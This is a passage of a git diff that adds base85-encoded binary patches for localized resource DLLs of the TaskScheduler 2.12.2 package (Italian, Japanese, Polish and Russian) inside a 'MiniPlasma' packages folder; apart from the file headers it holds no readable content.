zc*>?_7jAo}cjOP(lxKdt;~QCDn|ylwUT0?Z#*ZJEboAg`Q_60gl~ayZffnp+$XUJh zaL)WiKgpeZ`|olySN%Azt@T{~ch;`(J$_-|^=i9ZI^{oJsNCK=VPWfa4^+Q>GOOmh z->R!Ua{n7QeR${5hR1$%^5$#Sqjs)0qaLGJ`DS|VGSuo#LRw-7hwKL%)L2^F&*&z*xb*dp8>oEz!jo3puZc<0_=X| zfg|YmU=vLvf8qKJ@O9|_3b1Fu>shq>&{hF{4%S~odjs%`0G9>&uYtz5@jHO^DW4r?JYw&vtb9aKq$C!@-b_V7Sp=D$4eegJd{%pwhF50V^ z=vT8Kvzf{arbF>Q7GVmj#VCxBmN6G%8fHwOg4j^N^{f{FLFRyr!X^Q%a44`=EE2VP zP?o_@V?KahH#BHB1lYtD1I5Ch%(~E925>%=f$?2-sj~;(jkl z;@KvdT@E~OO{1`Mw_rp}BLYhX9`VTsNKP{tS(q5ST!`h#i=pI~V@fUtmJZNvAY4o2 z7sDGGCR7k6_a*bU*gSynbdXfdEY=2~8Lc2W*b~XrwgPN+8>F|`1{j+xA;*}v2wRaM zNemf+e1&Lwz^0=K8fDZ-W zz*0IG>hR&f&_FA&xB-nc*Vz%5RkGi!G2O>jKxc}KV*r?(YQ7ra8nC~g{d_QXEp#Bq zQjGc8?*NdKicNc#0;CVi6A{lBT@J7!EJMv?;p#x%1O+dsi&+DJ3NH<`M2K6=Rsyv6 z@<83aL0er1Qb8(`7a0bGp%|f<=wrPAOjD+w^}vXd|@Cm?*z8Eaw&pCM3l%*n25~5V>J|`#( z>lhirK<-Ef1U*R>0(s%(BfGI56a+mIL6DetDH3FoFi0j;p2U~r=;fJI5}iOx+p%qMPZ%cgvp>aR+LrX5?OtlS zA0TO)#{)@DP!9tvEx~wTi8K|xI8Y+KU%R+WUZ~Ma$winY0&XncbkbtUlPEQ&W&!ZJ zR96lS=my_Bfcu69zgP&?1EpeUlvHOWo^`c&qS9*>z0o*8zlfJSSMC7FMZDAw3JSI! zWf*$nOtVSyvLCNQF7TrOOv?q{64CKq3cNXs{Q?Nt?eW*C#6likC@0avP1tpv2*vI= zlR3#tCh~+GUnD?xgr!N+3s;`11S|G6H6Uf zlCrBK5k*r>jv|85v0kxx?b5~4q`K%pST;>}K2~xFD^gy)-edH+vq60EnJW6x0Zj?o zrlG4F9YvZ@-Px%IyIq*DVp(#RB8}NnvW;&ku4vgNW!Z*faZR!KdJwRrQCs}9v`vzH z(srp?<{{ZuIONa@^GnKa=vMHF$U~y9^hQ)uw($`en}E!r=s-|YbTD*G9x~J(MYnnM zF&jt`!?L3T5D^qC9(|BoK#b7?NmoNi#|F1Dqsre7GU!rn%fB?Hku5;h2IDbA%u(Mua20}gJR>lj))EvaS(_^2S~ISUkcP%Ao!#!Yuy-#Pvj>v$9__J$qFcy z$xvK)6RP=Jp;4Me1xOL>Mmv-?Ffs_)L)gzJ%^s322!>S4mi1tQc*zjNT_F47Kh$Zq|i|jQwihoCym|c$hH}qM9mY= z08<(hQk-6QZY&;+swMiYruF6;iQ$_T7uAw`s2EyOT;eaMnGtwfL46o4|27n-0Y)vq z71Z@Eiy)5RLky)YmcOEvy@EcK-t!w)G}YnvXBg+A<=1FN2gY<^D2>WSy_r~kGP8sV zP}Ie1OZ?aC(>yiCj>UdQvYBiGU~9yEt+@A!`z~>R9Cx~0EYfQXt7OyJRpLHH-1Ef! zT5mM>=hg#8Bn5|%Y=ct6QLj^r2A3)lrVO~O}1{F21c z1xkLnh(C9Qs9bD>98Fosyt*@s7mYjVEd}X`RatF!Kd%!;CN1 zDOS)_BZQCu@i1$VzGb~{@Is3T_Cb5_Lah<$Gu5u{A(rr@Q)0F81m0pbXd0H$Y5Uq$ zy(HjkldTP{$l9cwiPH$L+#b?2cA2oO)BFNZNRQ{MP46&XN!{{wCb7ez4=01OU!UkX zoinX{(bo#UTKRkDo?JHiZ#S=AIi>WSyRxVDg|F@SCtii@K!MQ^b1p;9L^;v ztN%e(fD@s9#`b{1NOCR4%Ui4c434GU^X!Z(zWkjhwrpN@@52qzy+1Cxy;T0_qq?z4hc$CYW?j$>JShL!ERe(Szv z+JVY9uf6iI@9$i8;0LRJkab^0?!;H#+i`wE>4K9F{BzfhCr{m#f42H3BX;jy6+JR~ z>|g4^-<*5q(H9pf?f*1GV$&{ZOcb}zORWDr7^+7NAt}h*LTDmy%dtJhH<>bCs7)j> zliS@2_xp;utcQ32zj$WQTY|-nPEHQxagPGr0T52{WKH97894a^k0ZTHyt*l29RJ~^ zmSazZj7=6VFZ1yx8#06=8lLhHh*$>k$k)4yxZKrcDqVPkai_yLZc!tUH7*9p1%5<{ z#1+qEb+h~Uvz$o8Fl|(!CrWI5gK9TA9US{U?C7f9$JkVfO^R=7{?Y&s6c-2P1d0Q5 z8OxN|=zz~3@Ih&OP{q!`;BU5s`kZ=$FYl}@b!Ba>Vb*EdV&r!>rWM6Uo1U)EXM&bE zeN4sq|2l#pA=+f@qErdpCjv}0XrAC2(N&S>w+*hLdy%zU+wj8}Cl)RT< z+=Tm0=+pJw@DKl!V$02>UPc|pZWOETxh@4_@>Pd{1gcb&q_0=1@-^X`oQn8#6;QY` z`mU!hbqni>YN`NWPYvfNRY;=TPvtlIo*zuivoeI&h)c`96mMZJcq zpY-sfg1LcusESWmDz|a)<@j~!law?=WjHE-QMJ4eGn<5*5pi&1V(cD8aPehL7=Ap1 ziUlSWVmS-M##C6Pk8`)AN8AkHa_H?A^EtE&;*(kd7M&&#v`gJB>2e_#Nkr!?9JK=~ z&XNXH7^I2-QKVv|SB)kskv?=DL#4YgemNirgP_|5#Sq4u#7a3UgRC6Bp;eMJ3}_9% zooKFwsD40NQdJ-%@Vi(M#&l-X1TEjj3^7Qj$@~rDt z??`u*Z5A9{JCd9ZsFGGx-JnCRI=nA<{-%QvIy_i{U#iv7)c_hcqQHSqd3;}xm1!QS z2v-P)_ELP0(LswPtW6qtg;+%Ut|h|ro_7cPma$U2-6VLd1doJ8h&JsUzqq@5 zh~|1>ZAnBA+1P~4WRrw;|8seK!h5urs7^$uaTfT8K%H`93tsdj){I&5uO_S(fvwzP zcsFdqhM41Q02U62hz#J|m3je&gpR~SdMu6MQ^XNfFQ#eadh7p6pVh*@ZU&%uqf&ap zivK&mmI=S6(oXm8P`<4cc-63bYR0)7T$uEa*B^of@Ia&Qymd+MKz|5o|4~QR0{;aq CiH<1% literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..e9c8ea39658dc0067f0912dcbc7e92d060ec864b GIT binary patch literal 10240 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..b750ac364543e69c64ef526c878612fefa242a7f GIT binary patch literal 10240 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 B(Gmav literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..5d88d55314ee3dfadaeee84707b86949043eafb9 GIT binary patch literal 10240 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..a2cd972e0d854c74de08263dcb238aa6d8bb5a19 GIT binary patch literal 10752 zcmeHNdwdkty+4D1Jagq00tPscpkl+4-2_N-0rMn5hy)TI?FC`8nQT_}5odORfYAtw z3N+y*kJ@7K4b?UT0wIA&#fwUj&bHe2;|J7gTgyi+BIULptEJ!HnVo$HQ}5?~?jP;M zGjryg-}^Po`C0m%E$jxySWk>=*BEQVldfEGzy7TO+X-XZ6WHOtZ;ow~=Daz!qQ;@} zTE$~mtS)Y|y4@Zxuavpsb90BA7tSr`E>D$g8aS|DYJhZE5o2?t8`!oe;< z{!)L&Mq{O)zIy+3JUK=#24gpgc@JG~S|Itw)qp$Jf4iMQuiS?Tl>Q4n1Fy7%D-Cq# z(j=F$q~0`%x|TCGAZn>wubiN zdZsCz{?d4X&*}9k@^rWC^D0(n8ZYxzIvuvza$SXIh3uYQId!UavTgDdb9P3ioSv1P z63fiz_Bvd$!M$Ael3$7g7A(svr2mHPoZ6I#!8$(PvZU$N?fVCRxPAHMc{_ggr;m2@ zm&We?@-_c6R|oy&*`cR59?0>OytJcyck`jIY{zzu`R~q+&;8()jT^4LGUt5#t53Z% zXTXTXpfsCHHlVoI3mG z$w?3VPx8RUXUA5QUrc#^*#gsxS9eWvEV5>f_}k0VHm)8rqx|;0dGGlX@_)3iu;Aq5 zZ_m86;dJqVpZV_`y>#sCiYGss-QXUwC`q}x#ChtSrBC#~=k7y&Ce{oXabHdHLw~3_ zGX5>su3M~iU#$Od?Zpdk)xTJ--v2O)(=!pTN97@QML<3q~>K+c8wY?nWIriTO$d z(J1m4uCD-Ji1{A@`vG_z!`Onc81NIZ|4WRw0Y4jX384Q=(0Cfp{n$T)X9>Y$UIqLc z0e1v)+zWbn*!wHq7XW@Kp69W)0W_{){S;uwVXX~gDAqm!k3E>*2H8Hscyl1;dCbPV z%)va&4aMtNEt6RR-dsp&E7q!*6DtZ(K`b6{5nBxa8}osT%*FuhmUv+0*d%I2plk&{ zC(8xs?eRftAiyeC3KSK8R%XY{4sae%vTza`05r4^6?qZM0}CfB1a=*0P%bBic!%S> zpl^|Ix{#!Y8yd;%AhxCyL3;%PDQp=mq(FAN5J-V8gp?1!YOybafENrE+z*o^hHb*x z-2)GdE)kZl5sZjwt-!JZkNBtn894`xR4l}9Q(PsLLdkCjlq?078=y5ns3Y>F@P-o$ z4iF~yh4WY0Hh}PGkVwr`b{0V6%0V*L6XDeQAl`1Pfb=R`0b`RTtO4d_!d7HR62l5X 